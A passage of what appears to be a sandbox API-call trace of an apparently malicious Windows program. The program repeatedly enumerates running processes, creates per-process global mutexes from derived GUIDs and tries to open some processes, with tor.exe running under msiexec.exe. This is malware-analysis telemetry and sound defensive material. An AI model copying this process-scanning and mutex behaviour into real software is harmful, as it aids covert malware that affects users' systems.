th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0122.470] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.470] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0122.471] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0122.471] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0122.471] GetLastError () returned 0xb7 [0122.471] CloseHandle (hObject=0x6cc) returned 1 [0122.471] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0122.472] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0122.473] CloseHandle (hObject=0x56c) returned 1 [0122.473] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0122.578] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0122.583] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.585] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0122.586] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0122.588] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.590] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0122.592] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0122.594] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0122.596] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0122.597] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0122.599] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0122.601] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.603] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.605] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.606] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.608] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.609] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0122.610] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.612] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.613] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0122.614] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.615] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0122.616] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0122.616] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0122.616] GetLastError () returned 0xb7 [0122.616] CloseHandle (hObject=0x6cc) returned 1 [0122.616] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0122.617] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0122.617] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0122.618] GetLastError () returned 0xb7 [0122.618] CloseHandle (hObject=0x6cc) returned 1 [0122.618] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0122.619] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.620] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0122.620] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0122.620] GetLastError () returned 0x0 [0122.620] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0122.620] CloseHandle (hObject=0x6cc) returned 1 [0122.620] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.621] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0122.621] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0122.621] GetLastError () returned 0x0 [0122.621] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0122.621] CloseHandle (hObject=0x6cc) returned 1 [0122.621] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0122.622] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0122.622] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0122.622] GetLastError () returned 0xb7 [0122.622] CloseHandle (hObject=0x6cc) returned 1 [0122.622] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0122.623] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0122.623] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0122.623] GetLastError () returned 0x0 [0122.623] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0122.623] CloseHandle (hObject=0x6cc) returned 1 [0122.623] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0122.624] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0122.625] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0122.626] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0122.627] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0122.628] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0122.628] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0122.629] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0122.630] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0122.631] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0122.632] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0122.633] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0122.634] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0122.634] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0122.635] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0122.636] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0122.637] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0122.637] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0122.638] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0122.639] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0122.640] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0122.641] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.641] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0122.642] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.643] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0122.644] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0122.645] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0122.645] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0122.646] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0122.647] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0122.648] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0122.648] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0122.648] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0122.648] GetLastError () returned 0xb7 [0122.648] CloseHandle (hObject=0x6cc) returned 1 [0122.648] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0122.649] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0122.650] CloseHandle (hObject=0x56c) returned 1 [0122.650] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0122.748] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0122.751] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.751] Process32NextW (in: hSnapshot=0x56c, 